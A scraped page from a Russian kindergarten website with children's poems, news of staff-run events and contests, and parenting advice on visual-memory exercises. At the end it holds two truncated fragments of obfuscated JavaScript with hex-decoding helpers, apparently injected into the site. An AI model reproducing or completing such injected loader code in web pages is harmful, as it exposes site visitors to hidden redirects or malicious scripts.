Автор: Редактор

Учим дома!

Вот сестрёнка Ира –
Полный рот кефира.
Вот сестрёнка Света –
Полный рот омлета.
Рядом Петя с Дашей
Мучаются с кашей.
Как же это некрасиво!
Эй, ребята, жуйте живо!
Быть голодным очень глупо:
Вы уже большая группа.
Э.Успенский

Через форточку в окошко
К нам пришла чужая кошка.
Форточка открытая,
Кошка вся немытая.
Мы сказали: –
Здравствуй, кошка,
Поживи у нас немножко.
Э.Успенский
Мишка, Мишка, лежебока!
Спал он долго и глубоко,
Зиму целую проспал,
И на елку не попал,
И на санках не катался,
И снежками не кидался,
Все бы мишеньке храпеть.
Эх ты, мишенька-медведь!
Валентин Берестов
Тучка с солнышком опять
В прятки начали играть.
Только солнце спрячется,
Тучка вся расплачется.
А как солнышко найдётся,
В небе радуга смеётся
Валентин Берестов
stihiВоспитатель Шумкова Е.В.

Гимнастика для глаз на неделю

Увидела на сайте «Воспитательская копилка» замечательную гимнастику, автор придумавший её молодец! Сама решила применить на практике и  опубликовать на сайте детского сада может кому и пригодится.image

image

Читать далее

«День смеха и шуток в детском саду».

Весёлое и зажигательное развлечение для дошколят проводили весёлые клоуны Чупс и Чупсик роли которых исполнили воспитатель Жданова Раиса Фёдоровна и музыкальный руководитель Урюпина Нина Анатольевна.

Клоуны весело шутили, пели. танцевали и играли с ребятами. С восторгом и любопытством ждали волшебства от клоунов. Им удалось удивить детей и сюрприз удался все ребята получили сладкое угощенье. Хороший эмоциональный заряд получили не только воспитанники, но и воспитатели.

и.о. старшего воспитателя Лишавская Л.И.

DSC01143DSC01127DSC01154

 

DSC01115

«Дошколята в мире поэзии»

В дошкольном возрасте важно учить детей воспринимать и оценивать поэтическое произведение, воспитывать художественный вкус. Воспринимая поэтические образы, дети получают эстетическое наслаждение. Стихи действуют на ребенка силой и обаянием ритма, мелодики; детей привлекает к себе мир звуков.

В  детском саду № 1 особое место занимает работа, направленная на воспитание у детей любви к поэзии, развитие умений воспринимать и выразительно воспроизводить стихи. Для юных любителей поэзии был организован конкурс художественного чтения «Весеннее настроение». В конкурсе приняли участие воспитанники 3 до 7 лет. Первыми выступили чтецы младшего возраста. Малыши читали очень эмоционально и трепетно. Первое место жюри присудило Артёму Червоткину за стихотворение «Весна пришла», второе – Дюбочкиной Лиде, третье  место заняла Настя Кузнецова. За младшими своё умение выразительного чтения показали старшие воспитанники. Первое место за стихотворение В.Федорченко «Весенний вальс» заслуженно получила Софья Черных, второе – Полина Софья, третье место —  Вика Храмцова. Всем участникам конкурса были вручены грамоты, дипломы и памятные подарки.

DSC01084

И.о. старшего воспитателя Лишавская Л.И.

«Правила безопасности надо знать!»

Согласно запланированным мероприятиям на 2015 — 2016 год проводятся встречи с работниками полиции.

С целью уточнить представления детей о правилах поведения на улицах в весеннее время года;

закрепить умения детей применять полученные знания в играх и повседневной жизни.  Инспектор по пропаганде БДД ОГИБДД капитан полиции Стаховская Анастасия Петровна  провела ряд игр и бесед для подготовительных к школе групп №1 и № 2 на тему безопасного поведения на улицах. Ребята, с интересом отвечали на вопросы инспектора, делились ситуациями из своего личного опыта.

DSC01033

И.о. старшего воспитателя Лишавская Л.И.

ИРИНА ГАДЕЕВА Консультация для родителей «Для чего нужны зрительные диктанты»

Ваш ребенок хорошо знает и различает геометрические фигуры, на любой таблице найдет одинаковые геометрические фигуры по форме, по цвету, умеет располагать геометрические фигуры на карточках с двумя и тремя полосками. Хорошо считает геометрические фигуры слева направо запоминает сколько фигур на верхней полоске или на нижней, теперь его можно знакомить со зрительным диктантом начиная с простой таблицы в которой пять геометрических фигур.

Внимательно рассмотрев таблицу и запомнив как расположены геометрические фигуры, разместить свои фигуры на листе точно так же. Чтобы хорошо все запомнить, надо рассмотреть таблицу в определенном порядке и назвать как расположены геометрические фигуры начиная с той, которая посередине, затем вверху, внизу, слева, справа. Рассказать несколько раз и разложить фигуры так же на своем листе. Когда ребенок хорошо запоминает такие таблицы и располагает правильно геометрические фигуры на листе, можно усложнить таблицу, расположив четыре геометрические фигуры по углам. Научить называть эти углы: левый верхний или правый верхний;нижний левый или нижний правый. Что очень важно, так как дети часто путают справа и слева. закрепить это можно с помощью различных предметов, расположив их по углам стола.

Затем еще усложнить таблицу, расположив уже девять геометрических фигур, располагая каждый раз по разному геометрические фигуры разные по форме и цвету.

Таким образом у ребенка развивается память, внимание, что очень пригодиться вашему ребенку в школе.

Повышение престижа профессии педагога

В рамках реализации комплексной программы повышения профессионального уровня педагогических работников общеобразовательных организаций (от 28 мая 2014 года № 3241п-П8) Минобрнауки России разработаны 3 социальных видеоролика по следующим тематикам: «Учитель – больше, чем профессия!», Говорите учителям «Спасибо», «Учителя – гордость России».

Скачать ролики: https://drive.google.com/folderview?id=0B8feKCxXXpfuQ3A0d0pDenR0MlE&usp=sharing

По ссылке находятся два ZIP архива, в каждом из них упакованы по 3 ролика.
Если Вы используете широкоэранный монитор — качайте файл «16х9 финал.zip» (210 МБ). Если у Вас обычный монитор (с соотношением сторон 4:3) — качайте файл «4х3 финал.zip» (105 МБ).

«Учим дома с детьми: стихи Агнии Барто»

 

ГРУЗОВИК

Нет, напрасно мы решили

Прокатить кота в машине:

Кот кататься не привык —

Опрокинул грузовик.

 

ВОТ ТАК ЗАЩИТНИК!

 

Я свою сестренку Лиду

Никому не дам в обиду!

Я живу с ней очень дружно,

Очень я ее люблю.

 

А когда мне будет нужно,

Я и сам ее побью.

 

УТИ-УТИ

 

Рано, рано утречком

Вышла мама-уточка

Поучить утят.

 

Уж она их учит, учит!

Вы плывите, ути-ути,

Плавно, в ряд.

 

Хоть сыночек не велик,

Не велик,

Мама трусить не велит,

Не велит.

 

— Плыви, плыви,

Утёныш,

Не бойся, Не утонешь.                                                 

 ЧУДЕСА

 

Чудеса! — сказала Люба.-

Шуба длинная была,

В сундуке лежала шуба,

Стала шуба мне мала.

 

ЛЯГУШАТА

 

Пять зелёных лягушат

В воду броситься спешат —

Испугались цапли!

А меня они смешат:

Я же этой цапли

Не боюсь ни капли!

 

СМЕШНОЙ ЦВЕТОК

 

Смешной цветок поставлен в вазу!

Его не полили ни разу,

Ему не нужно влаги,

Он сделан из бумаги.

 

А почему такой он важный?

А потому, что он бумажный!

 

Воспитатель 8 группы Гаврилова М.В.

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

1 … 139 140 141 142 143 … 154